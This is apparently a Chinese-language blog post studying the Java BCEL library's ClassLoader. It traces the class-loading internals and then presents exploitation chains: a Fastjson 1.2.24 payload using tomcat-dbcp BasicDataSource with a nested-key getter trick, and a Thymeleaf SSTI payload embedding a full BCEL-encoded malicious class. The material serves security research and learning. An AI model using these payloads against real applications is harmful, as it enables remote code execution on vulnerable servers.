BCEL的简单学习

Uncategorized
3.6k words

BCEL介绍

BCEL(Byte Code Engineering Library)是一个用于分析、修改和创建Java字节码的开源库。它提供了一组强大的工具和API,可用于动态修改和生成Java类文件。
BCEL的主要功能包括以下几个方面:

  1. 字节码分析:BCEL可以加载和解析现有的Java类文件,提供了访问类、方法、字段和指令等各种元素的接口。通过这些接口,开发人员可以深入研究类的内部结构和操作指令,从而进行静态分析和检查。
  2. 字节码修改:BCEL允许开发人员直接修改已加载的类文件的字节码。可以添加、删除或修改类、方法和字段,并重新保存修改后的文件。这使得BCEL成为处理字节码的有力工具,广泛应用于AOP(面向切面编程)等领域。
  3. 字节码生成:BCEL还提供了一组API,用于动态生成新的Java类文件。开发人员可以使用BCEL创建类、方法、字段和操作指令,然后将其编译成有效的字节码文件。这对于编写动态代理、字节码增强等需要在运行时生成类的场景非常有用。
  4. 反序列化和代码执行:BCEL在测试反序列化漏洞和执行动态生成的代码时非常有用。它可以帮助分析和处理序列化的对象,并提供了执行相关操作的接口。这在一些场景下,如利用漏洞进行远程代码执行时,是非常实用的工具。

总之,BCEL是一个功能强大的Java字节码工程库,用于分析、修改和创建Java类文件。它具有广泛的应用领域,包括静态分析、字节码增强、动态代理、反序列化测试等。

BCEL源码浅析

jdk的版本这里用的是神奇的jdk8u66,在jdk<8u251的情况下,我们都能在com.sun.org.apache.bcel.internal.util里面找到ClassLoader

BCELDemo

1
2
3
4
5
6
7
8
public class BCELDemo {  
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(calc.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}

分析点是loadClass()这里的,由于双亲委派机制的原因,这里就不一步一步跟了

直接来到com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass()这里,这里cl对象显然就是我们的关注重点,盘一下代码逻辑,能够看到先会根据所传入的class_name尝试从已有的classes中加载中该类,如果classes的确存在该类,则直接跳过返回cl对象,如果classes中不存在该类,则再通过class_name判定将加载的类是否是系统内部类,如果确实为系统内部类,则调用自带的类加载器进行加载,如果不为系统内部类,则继续往下进行。因为我们这里加载的类是我们自定义的恶意类,所以我们还得接着跟进一下。


最终是来到了createClass()这里,我们跟进去分析一下

代码逻辑非常简单,就是把传入的classname的前八个字符给砍了,再把剩下的字符decode成正常的字节码bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码),在用之后生成的类解析器对bytes数组进行解析,得到一个崭新的JavaClass对象。具体的解析流程和解码流程这里不在深究,让我们出栈回到loadClasses()里面继续分析。

之后就是调用Java原生的defineClass()进行类加载,这里的clazz经过调试已经变成了我们设置的恶意类,到此基本BCEL的类加载流程就趋向结尾了,此后就是newInstance()进行静态加载的事儿了。

简单利用姿势

Fastjson与BCEL

环境准备

pom.xml

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!--fastjson<=1.2.36-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

poc

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
流程分析

sink 在这一句代码上,最终是定位到了org.apache.tomcat.dbcp.dbcp2.DriverFactory#createDriver()执行的关键位置如图中断点所示,说句实话,这个sink点有些过于完美了,driverClassNamedriverClassLoader 都由我们所传参数所决定。继续对createDriver()做一下回溯。

1
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();  


查找用法之后发现只有org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory() 这一个地方调用了它,对createConnectionFactory()再回溯一下。

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource()下找到调用点,接着再往前回溯。


随便查找一下用法就掉宝了,直接出来两个getter方法。根据Fastjson调用任意getter方法的特点,到这一步就可以与Fastjson链衔接形成闭环了。但是因为这两个方法的返回值类型并不满足Fastjson的调用条件(具体条件可以看Fastjson初探那篇文章),所以并不能简单地认为该链子就到此结束了。在这里,我们可以引入一个Fastjson的小trick来解决这个问题。



先抛开以上链子不谈,咱们重新复习一下JSON.parse()JSON.parseObject()的区别(最常见的单参版本)。不难看出parseObject()的底层实现,本质是对parse()进行了一个简单的封装,将最终的解析对象统一转换为 JSONObject类型 。而转换的过程是涉及到了一个JSON.toJSON的神奇方法,我们可以跟进去看一看。


这里是连同重载,把两处方法都给记录了下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public static Object toJSON(Object javaObject) {  
return toJSON(javaObject, SerializeConfig.globalInstance);
}
---------------------------------------------------------------------
public static Object toJSON(Object javaObject, SerializeConfig config) {
if (javaObject == null) {
return null;
}
if (javaObject instanceof JSON) {
return javaObject;
}
if (javaObject instanceof Map) {
Map<Object, Object> map = (Map<Object, Object>) javaObject;
JSONObject json = new JSONObject(map.size());
for (Map.Entry<Object, Object> entry : map.entrySet()) {
Object key = entry.getKey();
String jsonKey = TypeUtils.castToString(key);
Object jsonValue = toJSON(entry.getValue());
json.put(jsonKey, jsonValue);
}
return json;
}
if (javaObject instanceof Collection) {
Collection<Object> collection = (Collection<Object>) javaObject;
JSONArray array = new JSONArray(collection.size());
for (Object item : collection) {
Object jsonValue = toJSON(item);
array.add(jsonValue);
}
return array;
}
Class<?> clazz = javaObject.getClass();
if (clazz.isEnum()) {
return ((Enum<?>) javaObject).name();
}
if (clazz.isArray()) {
int len = Array.getLength(javaObject);
JSONArray array = new JSONArray(len);
for (int i = 0; i < len; ++i) {
Object item = Array.get(javaObject, i);
Object jsonValue = toJSON(item);
array.add(jsonValue);
}
return array;
}
if (ParserConfig.isPrimitive(clazz)) {
return javaObject;
}
ObjectSerializer serializer = config.getObjectWriter(clazz);
if (serializer instanceof JavaBeanSerializer) {
JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
JSONObject json = new JSONObject();
try {
Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
for (Map.Entry<String, Object> entry : values.entrySet()) {
json.put(entry.getKey(), toJSON(entry.getValue()));
}
} catch (Exception e) {
throw new JSONException("toJSON error", e);
}
return json;
}
String text = JSON.toJSONString(javaObject);
return JSON.parse(text);
}

--------------------------------------------------------------------------------

就像我们之前在Fastjson初探里面提到过的那样,toJSON()会依据我们的javaObject的类型,进行相应的处理,如果javaObject是自定义的javaBean,那么则会在javaBeanSerializer.getFieldValuesMap(javaObject)这里通过反射进行属性值的获取,我们的任意getter执行,也是在这里实现的。而parse() 仅仅负责setter方法的执行与获取,但事实果真如此吗?我们这里要通过以下Demo重新认识一下Fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Person{  
public String name;
public Integer age;
public static Map map;
public Person() {
}
public Person(String name, Integer age) {
this.name = name;
this.age = age;
}
public Map getMap() {
System.out.println("getMap");
return map;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) throws java.io.IOException {
System.out.println("setName");
this.name = name;
}
public Integer getAge() throws java.io.IOException{
System.out.println("getAge");
return age;
}
public void setAge(Integer age) {
System.out.println("setAge");
this.age = age;
}
}
-------------------------------------------------------------------------
public class fastjsondemo {
public static void main(String[] args) throws java.io.IOException{
String s = "{\"@type\":\"com.Person\",\"name\":\"xxx\",\"age\":\"16\",\"map\":{}}";
Object jsonObject = JSON.parse(s);
}
}
-------------------------------------------------------------------

Demo运行截图如下

不难发现其实parse()也可以对部分的getter进行调用,不过得满足一定的条件,我们可以对这个问题进行一些简单的探究(之前的Fastjson初探那篇文章写的不够细致)。

parse()下个断点跟进几步,来到com.alibaba.fastjson.parser.DefaultJSONParser的367、368行。这里首先跟进一下367行获取反序列化器这里进行调试,在跟进前几步的时候,会先根据所传入的clazz对象的Classtype从已有的反序列化器进行选择,因为我们这里的clazz对象是自己编写的Javabean,最终会新建一个JavaBeanDeserializer返回给deserializer,我们跟进看看createJavaBeanDeserializer 这里。


把一些用处不大的if结构缩略后得到下图。关键看箭头所指的部分,我们迫切的需要代码执行到这里返回一个新建可控的JavaBeanDeserializer,而不是返回一个591行由asm所创建的JavaBeanDeserializer(asm创建的反序列化器一方面是没法调试,一方面是不会调对象的getter),而掌控这一切的关键则在第一个断点处的if结构里,我们展开看看。

在539行可以看到asmEnable被赋为了false,只要执行到这里则必然能够获得自建的JavaBeanDeserializer。而这里与beanInfo的创建又是有相当密切的关系的,我们再跟进一下526的JavaBeanInfo.build()

fieldList最密切相关的地方就在这三个for循环,第一个是对setter方法进行的添加,第二个是对fields属性遍历进行的添加,第三个是对getter方法进行的添加,因为这里牵扯到了fieldInfogetOnly属性,我们可以先去第三个for循环的add里面瞅瞅,看看这里new FieldInfo的源码。


抛去不影响的部分,直接看看163到183行,发现这里会根据有多少个参数类型来对getOnly属性进行赋值,因为我们传入的是get,自然就是0,所以只要能运行到getter循环的new FieldInfo这里,就足以达成目的,我们重新回到getter循环那里看看运行到new FieldInfo的条件。

在getter循环里假如FieldInfoList的条件如下所示,前面两张图的条件就是我们耳熟能详的那几条,但最后一张图里的条件,一般都会被默认忽视掉。在加入这个Field到FieldList之前,这个Field绝对不能在FieldList中已经存在,也就是说我们这里不允许在前两个循环就把我们的getMap调用的Field给加进到FieldList里。对于第一个循环而言,这里非常好讲,只需要对map属性不设置set方法即可,而第二个循环,则需要我们自己稍微跟一下代码。



Field循环一进去的第一段代码就已经非常吸引我们的注意力了,可以发现只要将map设置为静态属性,Field循环直接就能给跳过去,非常的nice。这也是为什么demo里面只有map属性设置为static的根本原因。到了这一步,我们就可以保证用来进行反序列化的反序列化器是由我们自己所创建的JavaBeanDeserializer了,我们出栈看看deserilzer.deserize()的执行流程。

跳过不重要的部分,deseriazle里面会对clazz的fieldList进行遍历,再根据属性自身的特性进行特定的setValue调用。比如现在遍历到的属性是String name,调用的setValue就是
fieldDeser.setValue最终调用setName



而别的属性的话,就比如我们的Map,调用的就是parseField(parser, key, object, type, fieldValues)这里。我们可以跟进看一下,这里要稍微跳几步,直接分析setValue里的内容。



能够看到,在setValue里,会对当前的fieldInfo.getOnly属性进行判断,如果当前属性为getOnly类型,且其类型符合我们之前getter循环要求的类型,则在85行进行getMap的调用,到此我们实现了在parse()里对于getter方法的调用。

但这里的利用链显然不完善,只能调用那几个单调类型的getter是无法调用这里的getConnectiongetLogWriter的,审计到了这一步,我们才来到了真正的重头戏,真正的开始引入前面所说的fastjson trick。


重新审计源码,发现com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)中,如果JSONObject位于JSON的key上,就会调用key的toString方法。
(不用想着如何调用的问题,这个和deserial()那个在同一个方法里)

JSONObject是Map的子类,在执行toString() 时会将提取类中所有的Field,自然会执行相应的 getter 方法,从某些方面来讲,这也是toString链和getter联系紧密的一部分原因。

换句话说,只要我们把这里的key设置为了JSONObject对象,然后把这个BasicDataSource对象成JSONObject对象的其中一个的key,就会直接调用JSONObject的所有getter方法,形成闭环(适用范围还挺广的,可以记一下)。

Demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
--------------------------------------------------------------------------------
class fastjson_dbcp {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(calc.class);
//System.out.println(Arrays.toString(cls.getBytes()));
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
System.out.println(code);
String poc = "{{{\"aaa\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\", \"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+code+"\"}}:\"bbb\"}:\"ccc\"}";
System.out.println(poc);
JSON.parse(poc);
}
}
----------------------------------------------------------------------------
public class fastjsondemo {
public static void main(String[] args) throws java.io.IOException{
String s = "{\"@type\":\"com.Person\",\"name\":\"admin\",\"age\":\"16\",\"map\":{}}";
Object jsonObject = JSON.parse(s);
Person person = new Person();
person.setAge(11);
person.setName("A");
System.out.println(person);
}
}
----------------------------------------------------------------------------


Thymeleaf与BCEL

pom.xml

1
2
3
4
<dependency>  
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

这里和上面Fastjson差不多,真正的关键在于Thymeleaf这里,这就需要我们自己了解一下Thymeleaf SSTI的知识,这里不多赘述了,详情可以看我另外一篇文章,要求Thymeleaf < 3.0.2 的

咱们直接上POC

1
::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________